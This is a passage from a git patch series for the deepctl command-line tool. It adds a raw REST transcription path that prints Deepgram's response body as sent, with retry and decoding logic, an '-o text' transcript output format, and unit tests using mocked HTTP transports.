+    result = command._prerecorded(client, "audio.wav", **kwargs)
+    command.output_result(result, Mock(spec=Config))
+    return command, result
+
+
+# ── The server's body ─────────────────────────────────────────────────
+
+
+def test_json_prints_the_body_byte_for_byte(capsysbinary):
+    client = rest_client()
+    _, result = run(client)
+    assert capsysbinary.readouterr().out == SPARSE + b"\n"
+    client.transcribe_file.assert_not_called()
+    # Parsed to check it, printed as read.
+    assert result.full_result == json.loads(SPARSE)
+
+
+def test_output_is_always_the_body_plus_one_newline(capsysbinary):
+    run(rest_client(SPARSE + b"\n"))
+    assert capsysbinary.readouterr().out == SPARSE + b"\n\n"
+
+
+def test_implied_json_is_the_same_body(monkeypatch, capsysbinary):
+    fmt(monkeypatch, "json", "soft")
+    run(rest_client())
+    assert capsysbinary.readouterr().out == SPARSE + b"\n"
+
+
+def test_sdk_env_restores_the_model_dump(monkeypatch, capsysbinary):
+    monkeypatch.setenv("DEEPCTL_LISTEN_JSON", "sdk")
+    client = rest_client()
+    run(client)
+    client.transcribe_body.assert_not_called()
+    out = capsysbinary.readouterr().out
+    assert json.loads(out) == {"sdk": True}
+    assert out.endswith(b"}\n") and out.startswith(b"{\n  ")
+
+
+def test_unknown_env_value_warns_once_and_is_ignored(monkeypatch, capsysbinary):
+    monkeypatch.setenv("DEEPCTL_LISTEN_JSON", "fast")
+    run(rest_client())
+    run(rest_client())
+    captured = capsysbinary.readouterr()
+    assert captured.out == (SPARSE + b"\n") * 2
+    assert captured.err.count(b"DEEPCTL_LISTEN_JSON=fast") == 1
+
+
+def test_another_backend_keeps_the_sdk_path(capsysbinary):
+    client = rest_client()
+    client.transport.backend.name = "sagemaker"
+    run(client)
+    client.transcribe_body.assert_not_called()
+    assert json.loads(capsysbinary.readouterr().out) == {"sdk": True}
+
+
+def test_table_output_keeps_the_sdk_path(monkeypatch, capsys):
+    fmt(monkeypatch, "default", "default")
+    client = rest_client()
+    client.transcribe_file.return_value = json.loads(SPARSE)
+    run(client)
+    client.transcribe_body.assert_not_called()
+    assert "hello world" in capsys.readouterr().out
+
+
+def test_yaml_is_the_body_as_yaml(monkeypatch, capsysbinary):
+    fmt(monkeypatch, "yaml")
+    run(rest_client())
+    out = capsysbinary.readouterr().out
+    assert yaml.safe_load(out) == json.loads(SPARSE)
+    assert out.startswith(b"metadata:\n")
+
+
+def test_captions_still_print_under_json(capsys):
+    run(rest_client(), caption_format="srt")
+    assert capsys.readouterr().out.startswith("1\n00:00:00,100 --> ")
+
+
+def test_save_to_parses_the_body(tmp_path, capsysbinary):
+    target = tmp_path / "t.txt"
+    run(rest_client(), save_to=str(target))
+    assert target.read_text().strip() == "hello world"
+    assert capsysbinary.readouterr().out == SPARSE + b"\n"
+
+
+def test_a_closed_reader_ends_quietly(monkeypatch):
+    command = ListenCommand()
+    stream = Mock()
+    stream.buffer.write.side_effect = BrokenPipeError()
+    monkeypatch.setattr(listen_cmd, "_silence_stdout", lambda: None)
+    monkeypatch.setattr(sys, "stdout", stream)
+    command._write_stdout(b"{}\n")
+    assert command._output_failed is False
+
+
+def test_a_full_disk_is_output_unwritable(monkeypatch, capsys):
+    command = ListenCommand()
+    stream = Mock()
+    stream.buffer.write.side_effect = OSError(28, "No space left on device")
+    monkeypatch.setattr(listen_cmd, "_silence_stdout", lambda: None)
+    monkeypatch.setattr(sys, "stdout", stream)
+    command._write_stdout(b"{}\n")
+    assert command._output_failed is True
+    assert command.exit_code_for(None) == 1
+
+
+def test_a_body_that_is_not_an_object_is_unreadable(monkeypatch):
+    fmt(monkeypatch, "yaml")
+    with pytest.raises(transport.TransportError) as err:
+        run(rest_client(b"<html>portal</html>"))
+    assert err.value.code == "network_unavailable"
diff --git a/packages/deepctl-core/src/deepctl_core/client.py b/packages/deepctl-core/src/deepctl_core/client.py
index 70515bbe..0871530c 100644
--- a/packages/deepctl-core/src/deepctl_core/client.py
+++ b/packages/deepctl-core/src/deepctl_core/client.py
@@ -230,6 +230,70 @@ def transcribe_url(
             transport.raise_for(e, self._secrets, timeout_s=timeout_s)
             raise ApiError(body=f"Transcription failed: {e}")
 
+    def transcribe_body(
+        self,
+        source: str | Path,
+        options: dict[str, Any] | None = None,
+        *,
+        is_url: bool = False,
+        timeout_s: float | None = None,
+        file_id: tuple[int, int] | None = None,
+    ) -> bytes:
+        """Transcribe a file or URL and return the response body as sent.
+
+        The server's JSON, decoded (gzip, deflate, zstd where this Python
+        can decode it) but never parsed or rebuilt, so ``-o json`` prints
+        exactly what Deepgram returned. The request goes through the
+        Transport's shared client, with the same retries the SDK makes
+        before any response byte is read. The body is returned only when it
+        was read completely with a 2xx status: a cut-off body or an error
+        status raises the coded ``TransportError``.
+        """
+        from . import rawhttp
+
+        self.auth_manager.guard()
+        api_key = self.auth_manager.get_api_key()
+        if not api_key:
+            raise ApiError(body="No API key available")
+        # Checks the host before the key goes into any header.
+        headers = self.transport.auth_headers(api_key)
+        self._secrets = (api_key,)
+        url = self.transport.rest_base().rstrip("/") + "/v1/listen"
+        params = rawhttp.query_params(
+            {"model": "nova-3", "smart_format": True, "language": "en-US"},
+            options or {},
+        )
+        if is_url:
+            return rawhttp.post_for_body(
+                self.transport.client,
+                url,
+                params=params,
+                headers=headers,
+                json_body={"url": str(source)},
+                timeout_s=timeout_s,
+                secrets=self._secrets,
+            )
+
+        from .upload import FileBody
+
+        path = Path(source)
+        if not path.exists():
+            raise FileNotFoundError(f"Audio file not found: {path}")
+        with FileBody(path, file_id=file_id) as body:
+            return rawhttp.post_for_body(
+                self.transport.client,
+                url,
+                params=params,
+                headers={
+                    **headers,
+                    "Content-Type": "application/octet-stream",
+                    "Content-Length": str(len(body)),
+                },
+                content=body,
+                timeout_s=timeout_s,
+                secrets=self._secrets,
+            )
+
     # ── Text-to-Speech ─────────────────────────────────────────────
 
     def speak_text(
diff --git a/packages/deepctl-core/src/deepctl_core/rawhttp.py b/packages/deepctl-core/src/deepctl_core/rawhttp.py
new file mode 100644
index 00000000..d46a2374
--- /dev/null
+++ b/packages/deepctl-core/src/deepctl_core/rawhttp.py
@@ -0,0 +1,197 @@
+"""A REST call whose response body is returned as the server sent it.
+
+For results that are printed as-is (``dg -o json listen``): no SDK model is
+built, so the bytes on stdout are the server's JSON. The request goes
+through the Transport's shared ``httpx.Client`` and retries as the SDK
+does: up to two more attempts after a connect failure, a connection closed
+before any response, or a 408, 409, 429 or 5xx status. Once a 2xx response
+has started, nothing is retried: a body cut short raises the coded
+``network_unavailable`` error and is never returned in part.
+"""
+
+from __future__ import annotations
+
+import random
+import time
+from typing import TYPE_CHECKING, Any
+
+from . import transport
+
+if TYPE_CHECKING:
+    from collections.abc import Iterable
+
+    import httpx
+
+# The SDK's retry policy (deepgram.core.http_client), so moving a request
+# off the SDK changes nothing about when it is resent.
+MAX_RETRIES = 2
+_INITIAL_DELAY_S = 1.0
+_MAX_DELAY_S = 60.0
+_JITTER = 0.2
+_RETRY_STATUSES = frozenset({408, 409, 429})
+
+
+def query_params(
+    defaults: dict[str, Any], options: dict[str, Any]
+) -> list[tuple[str, str]]:
+    """Query parameters as the SDK encodes them: booleans as ``true`` or
+    ``false``, a list as the parameter repeated, ``None`` left out."""
+    merged = {**defaults, **options}
+    params: list[tuple[str, str]] = []
+    for key, value in merged.items():
+        values = value if isinstance(value, (list, tuple)) else [value]
+        for item in values:
+            if item is None:
+                continue
+            if isinstance(item, bool):
+                item = "true" if item else "false"
+            params.append((key, str(item)))
+    return params
+
+
+def _zstd_decompress() -> Any:
+    """The stdlib zstd decompressor (Python 3.14+), or ``None``."""
+    import importlib
+
+    try:
+        module = importlib.import_module("compression.zstd")
+    except ImportError:
+        return None
+    return module.decompress
+
+
+def accept_encoding(client: httpx.Client) -> str:
+    """What to accept: what httpx decodes, plus zstd when this Python can
+    decode it and httpx can't."""
+    from httpx._decoders import SUPPORTED_DECODERS
+
+    codings = [c for c in SUPPORTED_DECODERS if c != "identity"]
+    if "zstd" not in codings and _zstd_decompress() is not None:
+        codings.append("zstd")
+    return ", ".join(codings)
+
+
+def _decoded(response: httpx.Response) -> bytes:
+    """The whole body, decoded. httpx passes a coding it can't decode
+    through unchanged, so those are decoded here or refused."""
+    from httpx._decoders import SUPPORTED_DECODERS
+
+    codings = [
+        c.strip().lower()
+        for c in response.headers.get_list("content-encoding", split_commas=True)
+    ]
+    codings = [c for c in codings if c and c != "identity"]
+    unknown = [c for c in codings if c not in SUPPORTED_DECODERS]
+    if not unknown:
+        return response.read()
+    decompress = _zstd_decompress()
+    if codings != ["zstd"] or decompress is None:
+        response.read()
+        raise transport.unreadable_body()
+    # httpx has no zstd decoder here, so read() returns the coded bytes.
+    raw = response.read()
+    try:
+        return bytes(decompress(raw))
+    except Exception as e:
+        raise transport.unreadable_body() from e
+
+
+def _delay(retries: int, response: httpx.Response | None) -> float:
+    if response is not None:
+        after = (response.headers.get("retry-after") or "").strip()
+        if after.isdigit() and int(after) > 0:
+            return min(float(after), _MAX_DELAY_S)
+    backoff = min(_INITIAL_DELAY_S * 2.0**retries, _MAX_DELAY_S)
+    return backoff * (1 + (random.random() - 0.5) * _JITTER)
+
+
+def _error_body(response: httpx.Response) -> object:
+    try:
+        text = response.read().decode("utf-8", "replace")
+    except Exception:
+        return None
+    import json
+
+    try:
+        return json.loads(text)
+    except ValueError:
+        return text
+
+
+def post_for_body(
+    client: httpx.Client,
+    url: str,
+    *,
+    params: list[tuple[str, str]],
+    headers: dict[str, str],
+    content: Iterable[bytes] | None = None,
+    json_body: Any = None,
+    timeout_s: float | None = None,
+    secrets: tuple[str, ...] = (),
+) -> bytes:
+    """POST and return the decoded 2xx body, read to the end.
+
+    ``content`` must be re-iterable (``upload.FileBody``) so a retry sends
+    it again. Raises ``TransportError`` for an error status, a body cut
+    short, a body that can't be decoded, a timeout or a network failure.
+    """
+    import httpx
+
+    from .upload import UploadFileError
+
+    timeout = httpx.Timeout(timeout_s) if timeout_s is not None else None
+    # ``headers`` come from Transport.auth_headers, so this request
+    # identifies itself as dg's SDK requests do.
+    request_headers = {"Accept-Encoding": accept_encoding(client), **headers}
+    retries = 0
+    while True:
+        request = client.build_request(
+            "POST",
+            url,
+            params=tuple(params),
+            headers=request_headers,
+            content=content,
+            json=json_body,
+            timeout=timeout if timeout is not None else client.timeout,
+        )
+        try:
+            response = client.send(request, stream=True)
+        except UploadFileError:
+            raise
+        except (httpx.ConnectError, httpx.RemoteProtocolError) as e:
+            if retries < MAX_RETRIES:
+                time.sleep(_delay(retries, None))
+                retries += 1
+                continue
+            transport.raise_for(e, secrets, timeout_s=timeout_s)
+            raise
+        except httpx.DecodingError as e:
+            # A transport that reads the body while sending (corrupt gzip).
+            raise transport.unreadable_body() from e
+        except Exception as e:
+            transport.raise_for(e, secrets, timeout_s=timeout_s)
+            raise
+        try:
+            status = response.status_code
+            if 200 <= status < 300:
+                try:
+                    return _decoded(response)
+                except httpx.DecodingError as e:
+                    # A coded body that doesn't decode (corrupt gzip).
+                    raise transport.unreadable_body() from e
+                except Exception as e:
+                    transport.raise_for(e, secrets, timeout_s=timeout_s)
+                    raise
+            if retries < MAX_RETRIES and (status >= 500 or status in _RETRY_STATUSES):
+                wait = _delay(retries, response)
+                response.close()
+                time.sleep(wait)
+                retries += 1
+                continue
+            body = _error_body(response)
+            mapped = transport.for_status(status, dict(response.headers), body, secrets)
+            if mapped is not None:
+                raise mapped
+            raise transport.unreadable_body()
+        finally:
+            response.close()
diff --git a/packages/deepctl-core/src/deepctl_core/transport.py b/packages/deepctl-core/src/deepctl_core/transport.py
index 6b4293f8..9cfe70cb 100644
--- a/packages/deepctl-core/src/deepctl_core/transport.py
+++ b/packages/deepctl-core/src/deepctl_core/transport.py
@@ -811,16 +811,22 @@ def map_exception(
         # The SDK got a complete success response it couldn't parse: most
         # often not Deepgram's at all (a proxy's or captive portal's page).
         # A body cut short raises RemoteProtocolError above instead.
-        host = _host()
-        return TransportError(
-            "network_unavailable",
-            {"host": host, "reason": REASON_UNREADABLE, "prog": prog() or "dg"},
-            {"host": host, "reason": REASON_UNREADABLE},
-            NETWORK_UNREADABLE,
-        )
+        return unreadable_body()
     return for_status(status, exc.headers, exc.body, secrets)
 
 
+def unreadable_body() -> TransportError:
+    """``network_unavailable`` for a complete response that can't be read
+    (an error status with no meaning here, or a body that can't be decoded)."""
+    host = _host()
+    return TransportError(
+        "network_unavailable",
+        {"host": host, "reason": REASON_UNREADABLE, "prog": prog() or "dg"},
+        {"host": host, "reason": REASON_UNREADABLE},
+        NETWORK_UNREADABLE,
+    )
+
+
 def for_status(
     status: int,
     headers: object = None,
diff --git a/packages/deepctl-core/tests/unit/test_rawhttp.py b/packages/deepctl-core/tests/unit/test_rawhttp.py
new file mode 100644
index 00000000..bccf229a
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_rawhttp.py
@@ -0,0 +1,286 @@
+"""The server's body, as sent: ``DeepgramClient.transcribe_body`` and
+``rawhttp.post_for_body`` on an ``httpx.MockTransport``."""
+
+from __future__ import annotations
+
+import gzip
+import json
+from pathlib import Path
+
+import httpx
+import pytest
+from deepctl_core import hosts, output, rawhttp, transport
+from deepctl_core.auth import AuthManager
+from deepctl_core.client import DeepgramClient
+from deepctl_core.config import Config
+from deepctl_core.transport import TransportError
+
+KEY = "sk-W25SENTINELKEY"
+BODY = b'{"metadata":{"created":"2026-10-31T01:02:03.456Z"},"results":{}}'
+
+
+@pytest.fixture(autouse=True)
+def _isolated(tmp_path, monkeypatch):
+    monkeypatch.chdir(tmp_path)
+    monkeypatch.setattr(
+        "deepctl_core.config._default_config_file",
+        lambda: tmp_path / "user" / "config.yaml",
+    )
+    monkeypatch.setattr(
+        "deepctl_core.config._trust_root_location",
+        lambda: (tmp_path, tmp_path / "user" / "config.yaml"),
+    )
+    monkeypatch.setattr(hosts, "_reported", set())
+    # facade() replaces the shared clients; monkeypatch puts the ones an
+    # earlier test left back afterwards, so none is dropped unclosed.
+    monkeypatch.setattr(transport, "_client", None)
+    monkeypatch.setattr(transport, "_verified", None)
+    monkeypatch.setattr(transport, "_client_insecure", False)
+    monkeypatch.setitem(output._output_config, "agentic", False)
+    monkeypatch.setattr(transport, "prog", lambda: "dg")
+    from deepctl_core import auth as auth_module
+
+    monkeypatch.setattr(auth_module.keyring, "get_password", lambda *a: None)
+    monkeypatch.setattr(rawhttp.time, "sleep", lambda s: None)
+    monkeypatch.setenv("DEEPGRAM_API_KEY", KEY)
+    yield
+    if transport._client is not None:
+        transport._client.close()
+
+
+def facade(handler) -> tuple[DeepgramClient, list[httpx.Request]]:
+    seen: list[httpx.Request] = []
+
+    def record(request: httpx.Request) -> httpx.Response:
+        request.read()
+        seen.append(request)
+        return handler(request)
+
+    transport._set_client(httpx.Client(transport=httpx.MockTransport(record)))
+    config = Config(config_path=str(Path.cwd() / "none.yaml"))
+    return DeepgramClient(config, AuthManager(config)), seen
+
+
+def audio(tmp_path: Path, size: int = 3000) -> Path:
+    path = tmp_path / "a.wav"
+    path.write_bytes(b"\1" * size)
+    return path
+
+
+def test_query_params_match_the_sdk_encoding():
+    params = rawhttp.query_params(
+        {"model": "nova-3", "smart_format": True},
+        {"smart_format": "false", "redact": ["pci", "numbers"], "x": None},
+    )
+    assert params == [
+        ("model", "nova-3"),
+        ("smart_format", "false"),
+        ("redact", "pci"),
+        ("redact", "numbers"),
+    ]
+
+
+def test_file_body_is_returned_byte_for_byte(tmp_path):
+    client, seen = facade(lambda r: httpx.Response(200, content=BODY))
+    body = client.transcribe_body(
+        audio(tmp_path), {"model": "nova-3", "diarize": "true"}
+    )
+    assert body == BODY
+    (request,) = seen
+    assert request.method == "POST"
+    assert request.url.path == "/v1/listen"
+    assert request.url.params.get("diarize") == "true"
+    assert request.url.params.get("language") == "en-US"
+    assert request.headers["authorization"] == f"Token {KEY}"
+    assert request.headers["content-length"] == "3000"
+    assert request.headers["content-type"] == "application/octet-stream"
+    assert request.content == b"\1" * 3000
+
+
+def test_url_source_posts_json(tmp_path):
+    client, seen = facade(lambda r: httpx.Response(200, content=BODY))
+    assert client.transcribe_body("https://x.test/a.mp3", {}, is_url=True) == BODY
+    assert json.loads(seen[0].content) == {"url": "https://x.test/a.mp3"}
+
+
+def test_gzip_body_is_decoded(tmp_path):
+    client, _ = facade(
+        lambda r: httpx.Response(
+            200, content=gzip.compress(BODY), headers={"Content-Encoding": "gzip"}
+        )
+    )
+    assert client.transcribe_body(audio(tmp_path)) == BODY
+
+
+def test_a_coding_nobody_can_decode_is_never_returned(tmp_path):
+    client, _ = facade(
+        lambda r: httpx.Response(
+            200, content=b"\x28\xb5\x2f\xfd...", headers={"Content-Encoding": "br2"}
+        )
+    )
+    with pytest.raises(TransportError) as err:
+        client.transcribe_body(audio(tmp_path))
+    assert err.value.code == "network_unavailable"
+    assert err.value.messages == transport.NETWORK_UNREADABLE
+
+
+def test_zstd_is_accepted_only_when_it_can_be_decoded(tmp_path):
+    client, seen = facade(lambda r: httpx.Response(200, content=BODY))
+    client.transcribe_body(audio(tmp_path))
+    accepted = seen[0].headers["accept-encoding"]
+    decodable = rawhttp._zstd_decompress() is not None or "zstd" in (
+        __import__("httpx._decoders", fromlist=["x"]).SUPPORTED_DECODERS
+    )
+    assert ("zstd" in accepted) == decodable
+
+
+@pytest.mark.skipif(
+    rawhttp._zstd_decompress() is None, reason="no stdlib zstd on this Python"
+)
+def test_zstd_body_is_decoded_with_the_stdlib(tmp_path):
+    from compression import zstd  # type: ignore[import-not-found,unused-ignore]
+
+    client, _ = facade(
+        lambda r: httpx.Response(
+            200, content=zstd.compress(BODY), headers={"Content-Encoding": "zstd"}
+        )
+    )
+    assert client.transcribe_body(audio(tmp_path)) == BODY
+
+
+@pytest.mark.parametrize(
+    ("status", "code"),
+    [(401, "auth_invalid"), (403, "auth_forbidden"), (400, "invalid_argument")],
+)
+def test_error_status_maps_and_is_not_retried(tmp_path, status, code):
+    client, seen = facade(
+        lambda r: httpx.Response(status, json={"err_msg": "bad " + KEY})
+    )
+    with pytest.raises(TransportError) as err:
+        client.transcribe_body(audio(tmp_path))
+    assert err.value.code == code
+    assert KEY not in err.value.error
+    assert len(seen) == 1
+
+
+def test_5xx_and_429_are_retried_and_the_body_resent(tmp_path):
+    answers = iter(
+        [
+            httpx.Response(503, json={}),
+            httpx.Response(429, json={}, headers={"Retry-After": "1"}),
+            httpx.Response(200, content=BODY),
+        ]
+    )
+    client, seen = facade(lambda r: next(answers))
+    assert client.transcribe_body(audio(tmp_path, 5000)) == BODY
+    assert len(seen) == 3
+    assert all(r.content == b"\1" * 5000 for r in seen)
+
+
+def test_retries_stop_after_two(tmp_path):
+    client, seen = facade(lambda r: httpx.Response(502, json={}))
+    with pytest.raises(TransportError) as err:
+        client.transcribe_body(audio(tmp_path))
+    assert err.value.code == "server_error"
+    assert len(seen) == 3
+
+
+def test_connect_error_is_retried(tmp_path):
+    calls = []
+
+    def handler(request):
+        calls.append(1)
+        if len(calls) == 1:
+            raise httpx.ConnectError("refused", request=request)
+        return httpx.Response(200, content=BODY)
+
+    client, _ = facade(handler)
+    assert client.transcribe_body(audio(tmp_path)) == BODY
+    assert len(calls) == 2
+
+
+def test_a_2xx_body_cut_short_is_never_returned(tmp_path):
+    class Cut(httpx.SyncByteStream):
+        def __iter__(self):
+            yield BODY[:10]
+            raise httpx.RemoteProtocolError(
+                "peer closed connection without sending complete message body"
+            )
+
+    calls = []
+
+    def handler(request):
+        calls.append(1)
+        return httpx.Response(200, stream=Cut())
+
+    client, _ = facade(handler)
+    with pytest.raises(TransportError) as err:
+        client.transcribe_body(audio(tmp_path))
+    assert err.value.code == "network_unavailable"
+    assert err.value.messages == transport.NETWORK_CUT
+    # A response had started: nothing is resent (it would be billed again).
+    assert len(calls) == 1
+
+
+def test_timeout_maps_with_the_request_timeout(tmp_path):
+    def handler(request):
+        raise httpx.ReadTimeout("slow", request=request)
+
+    client, _ = facade(handler)
+    with pytest.raises(TransportError) as err:
+        client.transcribe_body(audio(tmp_path), timeout_s=120)
+    assert err.value.code == "timeout"
+    assert err.value.details["timeout_s"] == 120
+
+
+def test_a_redirect_is_not_followed(tmp_path):
+    client, seen = facade(
+        lambda r: httpx.Response(307, headers={"Location": "https://elsewhere.test/"})
+    )
+    with pytest.raises(TransportError) as err:
+        client.transcribe_body(audio(tmp_path))
+    assert err.value.code == "network_unavailable"
+    assert len(seen) == 1
+
+
+def test_missing_file_raises_file_not_found(tmp_path):
+    client, seen = facade(lambda r: httpx.Response(200, content=BODY))
+    with pytest.raises(FileNotFoundError):
+        client.transcribe_body(tmp_path / "nope.wav")
+    assert seen == []
+
+
+def test_corrupt_gzip_is_unreadable(tmp_path):
+    coded = bytearray(gzip.compress(b'{"a":"' + b"x" * 5000 + b'"}'))
+    for i in range(12, 40):
+        coded[i] ^= 0xFF  # damage the deflate stream: zlib refuses it
+    client, _ = facade(
+        lambda r: httpx.Response(
+            200, content=bytes(coded), headers={"Content-Encoding": "gzip"}
+        )
+    )
+    with pytest.raises(TransportError) as err:
+        client.transcribe_body(audio(tmp_path))
+    assert err.value.code == "network_unavailable"
+    assert err.value.messages == transport.NETWORK_UNREADABLE
+
+
+def test_identifies_itself_as_the_sdk_path_does(tmp_path):
+    """The raw request carries the same User-Agent, X-Fern headers and
+    session ID the SDK sends on dg's other requests."""
+    client, seen = facade(lambda r: httpx.Response(200, content=BODY))
+    client.transcribe_body(audio(tmp_path))
+    client.client.listen.v1.media.transcribe_file(request=b"\1")
+    raw, sdk = seen
+    assert raw.headers["user-agent"].startswith("deepgram-sdk/")
+    for name in (
+        "user-agent",
+        "x-fern-language",
+        "x-fern-runtime",
+        "x-fern-platform",
+        "x-fern-sdk-name",
+        "x-fern-sdk-version",
+        "x-deepgram-session-id",
+        "authorization",
+    ):
+        assert raw.headers[name] == sdk.headers[name], name

From 3aa343652b18394d3f0e5fc9698c23b05c154c1b Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 13:39:10 -0500
Subject: [PATCH 48/88] feat(listen): add -o text for the transcript alone

dg listen -o text prints only the transcript (speaker-labelled with
--diarize), for files, URLs and live streams. It isn't a machine format:
errors stay on stderr. A command can now declare output
formats it takes after its name; the root -o is unchanged. Help specs
regenerated.
---
 .../src/deepctl_cmd_listen/command.py            | 16 ++++++++++++----
 .../tests/unit/test_listen_passthrough.py        | 16 ++++++++++++++--
 .../src/deepctl_core/base_command.py             |  3 +++
 .../src/deepctl_core/plugin_manager.py           | 15 +++++++++++----
 src/deepctl/_manifest.d/listen.json              |  3 ++-
 src/deepctl/_manifest.d/transcribe.json          |  3 ++-
 6 files changed, 44 insertions(+), 12 deletions(-)

diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
index 5713d2ce..a29c32ce 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
@@ -150,11 +150,11 @@ def _sdk_json() -> bool:
 def _passthrough_body(client: DeepgramClient) -> bool:
     """True when the prerecorded result is read as the server's body.
 
-    For ``-o json`` and ``-o yaml`` (asked for or implied),
+    For ``-o json``, ``-o yaml`` and ``-o text`` (asked for or implied),
     unless ``DEEPCTL_LISTEN_JSON=sdk`` asks for the SDK's shape or the
     client goes through a backend other than plain REST.
     """
-    if get_output_format() not in ("json", "yaml"):
+    if get_output_format() not in ("json", "yaml", "text"):
         return False
     backend = getattr(getattr(client, "transport", None), "backend", None)
     if getattr(backend, "name", None) != "rest":
@@ -278,6 +278,8 @@ class ListenCommand(BaseCommand):
     requires_auth = True
     requires_project = False
     ci_friendly = True
+    # -o text: the transcript alone (files, URLs and live streams).
+    extra_output_formats = ("text",)
 
     #: Live transcript lines go to stdout; False under a machine format.
     _echo: bool = True
@@ -927,7 +929,7 @@ def _prerecorded(
 
         from deepctl_core.upload import UploadFileError, coded_result
 
-        # Machine output prints the server's body:
+        # Machine output prints the server's body (-o text, what's in it):
         # read it as sent instead of building the SDK's model of it.
         passthrough = _passthrough_body(client)
         body: bytes | None = None
@@ -1936,6 +1938,9 @@ def _default(obj: Any) -> str:
             return
 
         if not isinstance(result, ListenResult) or result.status != "success":
+            if fmt == "text":
+                # Not a machine format: errors are on stderr, as by default.
+                return
             try:
                 super().output_result(result, config)
             except OSError:
@@ -1950,13 +1955,16 @@ def _default(obj: Any) -> str:
             return
 
         # Pre-recorded: full structured output
-        if fmt in ("json", "yaml"):
+        if fmt in ("json", "yaml", "text"):
             if fmt == "json" and result._body is not None:
                 data = result._body
                 if _stdout_is_tty():
                     # A person reading a terminal: indented and highlighted.
                     out.print_json(data.decode("utf-8", "replace"))
                     return
+            elif fmt == "text":
+                text = result.transcript.strip()
+                data = (text + "\n").encode() if text else b""
             else:
                 payload = (
                     result.full_result
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py b/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py
index 07e7a58c..b5e47adf 100644
--- a/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py
+++ b/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py
@@ -1,5 +1,5 @@
-"""Prerecorded ``listen`` output (0.5.0): the server's body for ``-o json``
-and ``-o yaml``, and ``DEEPCTL_LISTEN_JSON=sdk``."""
+"""Prerecorded ``listen`` output (0.5.0): the server's body for ``-o json``,
+``-o yaml`` and ``-o text``, and ``DEEPCTL_LISTEN_JSON=sdk``."""
 
 from __future__ import annotations
 
@@ -164,6 +164,18 @@ def test_yaml_is_the_body_as_yaml(monkeypatch, capsysbinary):
     assert out.startswith(b"metadata:\n")
 
 
+def test_text_is_only_the_transcript(monkeypatch, capsysbinary):
+    fmt(monkeypatch, "text")
+    run(rest_client())
+    assert capsysbinary.readouterr().out == b"hello world\n"
+
+
+def test_text_with_diarize_labels_speakers(monkeypatch, capsysbinary):
+    fmt(monkeypatch, "text")
+    run(rest_client(), diarize=True)
+    assert capsysbinary.readouterr().out.startswith(b"[Speaker 0]")
+
+
 def test_captions_still_print_under_json(capsys):
     run(rest_client(), caption_format="srt")
     assert capsys.readouterr().out.startswith("1\n00:00:00,100 --> ")
diff --git a/packages/deepctl-core/src/deepctl_core/base_command.py b/packages/deepctl-core/src/deepctl_core/base_command.py
index 474f8369..c12ddbe1 100644
--- a/packages/deepctl-core/src/deepctl_core/base_command.py
+++ b/packages/deepctl-core/src/deepctl_core/base_command.py
@@ -110,6 +110,9 @@ class BaseCommand(ABC):
     help: str = ""
     short_help: str | None = None
     hidden: bool = False  # set True to hide from dg --help (e.g. deprecated aliases)
+    # Output formats this command takes after its name, beyond the root
+    # -o's json, yaml, table and csv (``dg listen -o text``).
+    extra_output_formats: tuple[str, ...] = ()
 
     # Command requirements
     requires_auth: bool = False
diff --git a/packages/deepctl-core/src/deepctl_core/plugin_manager.py b/packages/deepctl-core/src/deepctl_core/plugin_manager.py
index 59b4da93..40390201 100644
--- a/packages/deepctl-core/src/deepctl_core/plugin_manager.py
+++ b/packages/deepctl-core/src/deepctl_core/plugin_manager.py
@@ -878,11 +878,15 @@ def _agent_friendly_callback(
         )(cmd)
 
         # Accept the global output options after the subcommand as well.
-        cmd = self._add_global_passthrough_options(cmd)
+        cmd = self._add_global_passthrough_options(
+            cmd, tuple(getattr(command_instance, "extra_output_formats", ()))
+        )
 
         return cmd
 
-    def _add_global_passthrough_options(self, cmd: click.Command) -> click.Command:
+    def _add_global_passthrough_options(
+        self, cmd: click.Command, extra_formats: tuple[str, ...] = ()
+    ) -> click.Command:
         """Let the global output options work after the subcommand too.
 
         The root group defines -o/--output, -q/--quiet and -v/--verbose, but
@@ -892,7 +896,9 @@ def _add_global_passthrough_options(self, cmd: click.Command) -> click.Command:
         These pass-through copies apply the same effect from the subcommand
         position. A copy is only added when the command does not already
         define the option name itself (for example, ``dg speak --output``
-        names an audio file and keeps its own meaning).
+        names an audio file and keeps its own meaning). ``extra_formats`` are
+        formats only this command takes after its name (``dg listen -o
+        text``); the root ``-o`` doesn't.
         """
         from .output import update_output
 
@@ -924,7 +930,8 @@ def _apply_verbose(
                 "--output",
                 "-o",
                 type=click.Choice(
-                    ["json", "yaml", "table", "csv"], case_sensitive=False
+                    ["json", "yaml", "table", "csv", *extra_formats],
+                    case_sensitive=False,
                 ),
                 expose_value=False,
                 callback=_apply_format,
diff --git a/src/deepctl/_manifest.d/listen.json b/src/deepctl/_manifest.d/listen.json
index fce76bd2..32e478e3 100644
--- a/src/deepctl/_manifest.d/listen.json
+++ b/src/deepctl/_manifest.d/listen.json
@@ -558,7 +558,8 @@
             "json",
             "yaml",
             "table",
-            "csv"
+            "csv",
+            "text"
           ],
           "case_sensitive": false
         },
diff --git a/src/deepctl/_manifest.d/transcribe.json b/src/deepctl/_manifest.d/transcribe.json
index 5a7f1b6d..b038fb75 100644
--- a/src/deepctl/_manifest.d/transcribe.json
+++ b/src/deepctl/_manifest.d/transcribe.json
@@ -558,7 +558,8 @@
             "json",
             "yaml",
             "table",
-            "csv"
+            "csv",
+            "text"
           ],
           "case_sensitive": false
         },

From 39b284723bddf401429fd65cd9410c62a95daed1 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 13:39:21 -0500
Subject: [PATCH 49/88] feat(listen): save large results to a file in agent
 sessions

When an AI agent marked the environment, the format was chosen by
detection rather than asked for, stdout is neither a regular file nor
/dev/null, and the prerecorded result is over 64 KiB, dg listen saves
the full result and the plain transcript to a pair of 0600 files and
prints a summary instead: their paths, sizes, a 2 KiB preview, the
request ID and duration. One stderr line names the file, even under
